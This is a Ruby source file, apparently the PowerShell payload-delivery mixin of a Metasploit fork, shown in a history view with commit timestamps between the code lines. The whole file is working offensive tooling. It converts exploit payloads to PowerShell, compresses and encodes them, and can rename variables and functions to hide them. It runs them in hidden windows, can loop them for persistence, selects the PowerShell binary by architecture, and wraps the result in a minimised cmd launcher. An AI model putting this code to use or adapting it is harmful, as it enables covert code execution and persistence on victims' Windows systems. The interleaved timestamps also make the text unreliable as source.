Files
metasploit-gs/lib/msf/core/exploit/powershell.rb
T

360 lines
10 KiB
Ruby
Raw Normal View History

2013-07-04 12:44:44 -04:00
# -*- coding: binary -*-
require 'rex/exploitation/powershell'
module Msf
module Exploit::Powershell
2014-04-18 00:28:48 -04:00
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
super
register_advanced_options(
[
2014-03-02 19:07:13 +00:00
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
OptBool.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
OptBool.new('Powershell::strip_comments', [false, 'Strip comments', true]),
OptBool.new('Powershell::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [false, 'Substitute function names', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
2014-02-12 22:06:18 -05:00
'net',
'reflection',
'old',
'msil'
]]),
], self.class)
end
#
2014-03-02 19:07:13 +00:00
# Reads script into a PowershellScript
#
2013-09-13 19:06:37 +01:00
def read_script(script_path)
2014-03-02 19:07:13 +00:00
return PowershellScript.new(script_path)
end
#
# Insert substitutions into the powershell script
2013-09-13 19:06:37 +01:00
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0],set[1])
end
2013-09-13 20:23:18 +01:00
2014-03-02 19:07:13 +00:00
script
end
#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
2014-03-02 19:07:13 +00:00
new_subs
end
2013-09-20 13:47:51 +01:00
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
def encode_script(script_in, eof = nil)
# Build script object
2014-03-02 19:07:13 +00:00
psh = PowershellScript.new(script_in)
2013-09-20 13:47:51 +01:00
# Invoke enabled modifiers
2014-04-18 00:28:48 -04:00
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
2013-09-20 13:47:51 +01:00
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
2014-03-02 19:07:13 +00:00
psh.encode_code(eof)
2013-09-20 13:47:51 +01:00
end
2013-09-27 12:45:48 +01:00
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def compress_script(script_in, eof = nil)
# Build script object
2014-03-02 19:07:13 +00:00
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
2014-04-18 00:28:48 -04:00
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
2014-03-02 19:07:13 +00:00
psh.compress_code(eof)
end
2013-09-27 12:45:48 +01:00
#
# Generate a powershell command line
#
def generate_psh_command_line(opts)
2014-03-02 20:37:08 +00:00
if opts[:path] and (opts[:path][-1,1] != "\\")
2013-09-27 12:45:48 +01:00
opts[:path] << "\\"
end
2014-02-09 12:15:02 +00:00
if opts[:no_full_stop]
binary = "powershell"
else
binary = "powershell.exe"
end
2013-09-27 12:45:48 +01:00
args = generate_psh_args(opts)
2014-03-02 19:07:13 +00:00
"#{opts[:path]}#{binary} #{args}"
2013-09-27 12:45:48 +01:00
end
#
# Generate arguments for the powershell command
2014-03-02 20:37:08 +00:00
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
2013-09-27 12:45:48 +01:00
#
def generate_psh_args(opts)
2014-03-02 20:37:08 +00:00
return "" unless opts
unless opts.has_key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
2014-03-02 19:07:13 +00:00
arg_string = " "
2013-09-27 12:45:48 +01:00
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << "-NoExit " if value
when :nologo
arg_string << "-NoLogo " if value
when :noninteractive
arg_string << "-NonInteractive " if value
when :mta
arg_string << "-Mta " if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << "-Sta " if value
when :noprofile
arg_string << "-NoProfile " if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
#Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
2014-03-02 20:37:08 +00:00
# Shorten arg if PSH 2.0+
2014-04-18 00:28:48 -04:00
if opts[:shorten]
2014-04-19 18:54:42 +01:00
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
2014-02-09 17:45:30 +00:00
arg_string.gsub!(' -Command ', ' -c ')
2014-04-19 18:54:42 +01:00
arg_string.gsub!('-EncodedCommand ', ' -e ')
arg_string.gsub!('-ExecutionPolicy ', ' -ep ')
2014-02-09 17:45:30 +00:00
arg_string.gsub!(' -File ', ' -f ')
2014-04-19 18:54:42 +01:00
arg_string.gsub!('-InputFormat ', ' -i ')
arg_string.gsub!('-NoExit ', ' -noe ')
arg_string.gsub!('-NoLogo ', ' -nol ')
arg_string.gsub!('-NoProfile ', ' -nop ')
arg_string.gsub!('-NonInteractive ', ' -noni ')
arg_string.gsub!('-OutputFormat ', ' -o ')
arg_string.gsub!('-Sta ', ' -s ')
arg_string.gsub!('-WindowStyle ', ' -w ')
2013-09-27 12:45:48 +01:00
end
2014-03-02 19:07:13 +00:00
#Strip off first space character
2014-03-02 20:37:08 +00:00
arg_string = arg_string[1..-1]
#Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
arg_string
2013-09-27 12:45:48 +01:00
end
2014-03-02 19:07:13 +00:00
#
# Runs powershell in hidden window raising interactive proc msg
2013-10-22 00:42:59 +01:00
# Detect the architecture
#
2014-04-18 00:28:48 -04:00
2014-02-08 21:34:51 +00:00
def run_hidden_psh(ps_code, payload_arch, encoded)
2013-09-27 12:45:48 +01:00
arg_opts = {
:noprofile => true,
:windowstyle => 'hidden',
}
2014-02-08 21:34:51 +00:00
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'","''")
end
2013-09-27 12:45:48 +01:00
# Old technique fails if powershell exits..
2014-04-18 00:28:48 -04:00
arg_opts[:noexit] = true if datastore['PSH::method'] == 'old'
2013-09-27 12:45:48 +01:00
ps_args = generate_psh_args(arg_opts)
2013-10-22 00:42:59 +01:00
process_start_info = <<EOS
2014-02-08 22:10:33 +00:00
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
2013-07-04 12:44:44 -04:00
EOS
2013-10-22 00:42:59 +01:00
process_start_info.gsub!("\n",';')
2013-07-04 12:44:44 -04:00
2013-10-22 00:42:59 +01:00
archictecure_detection = <<EOS
2014-02-08 22:10:33 +00:00
if([IntPtr]::Size -eq 4){
2014-04-17 21:26:04 -04:00
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
2014-02-08 22:10:33 +00:00
}else{
2014-04-18 00:28:48 -04:00
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
2014-04-17 21:26:04 -04:00
};
2013-10-22 00:42:59 +01:00
EOS
2014-04-18 00:28:48 -04:00
2013-10-22 00:42:59 +01:00
archictecure_detection.gsub!("\n","")
2014-03-02 19:07:13 +00:00
archictecure_detection + process_start_info
end
#
# Creates cmd script to execute psh payload
#
2013-12-16 15:13:13 +00:00
def cmd_psh_payload(pay, payload_arch, opts={})
2014-03-02 19:07:13 +00:00
opts[:persist] ||= datastore['Powershell::persist']
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
2014-03-02 20:56:55 +00:00
opts[:method] ||= datastore['Powershell::method']
2014-02-09 12:15:02 +00:00
if opts[:encode_inner_payload] && opts[:encode_final_payload]
2014-02-09 12:52:56 +00:00
raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
end
if opts[:no_equals] && !opts[:encode_final_payload]
raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
2014-02-09 12:15:02 +00:00
end
2014-03-02 20:56:55 +00:00
psh_payload = case opts[:method]
2014-02-12 22:06:18 -05:00
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
2014-03-02 20:56:55 +00:00
raise RuntimeError, "MSIL Powershell method no longer exists"
else
raise RuntimeError, "No Powershell method specified"
2014-02-12 22:06:18 -05:00
end
# Run our payload in a while loop
2014-03-02 19:07:13 +00:00
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
2013-09-13 20:23:18 +01:00
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
2013-09-20 13:47:51 +01:00
2014-03-02 19:07:13 +00:00
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
2014-02-12 22:06:18 -05:00
else
vprint_error('Sleep time must be greater than 0 seconds')
end
end
2013-09-20 13:47:51 +01:00
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
2013-09-20 13:47:51 +01:00
2014-02-09 00:55:26 +00:00
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
2013-09-20 13:47:51 +01:00
else
2014-02-09 12:15:02 +00:00
if opts[:encode_inner_payload]
2014-02-09 00:55:26 +00:00
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
2013-09-20 13:47:51 +01:00
end
2013-10-22 00:42:59 +01:00
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
2013-10-22 00:42:59 +01:00
command_args = {
:noprofile => true,
:windowstyle => 'hidden'
2014-02-09 12:34:25 +00:00
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
2014-02-09 12:34:25 +00:00
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << " "
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'","''")
2014-02-09 12:34:25 +00:00
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
2013-12-16 15:13:13 +00:00
end
psh_command = generate_psh_command_line(command_args)
2013-11-23 00:45:04 +00:00
2013-12-16 15:13:13 +00:00
if opts[:remove_comspec]
command = psh_command
else
2014-02-12 22:06:18 -05:00
command = "%COMSPEC% /b /c start /min #{psh_command}"
2013-12-16 15:13:13 +00:00
end
2014-02-08 22:10:33 +00:00
vprint_status("Powershell command length: #{command.length}")
2014-02-09 12:15:02 +00:00
if command.length > 8191
raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
end
2014-03-02 19:07:13 +00:00
command
end
#
# Useful method cache
#
module PshMethods
2014-04-17 21:26:04 -04:00
include Rex::Exploitation::Powershell::PshMethods
end
2014-04-18 00:28:48 -04:00
2013-07-04 12:44:44 -04:00
end
end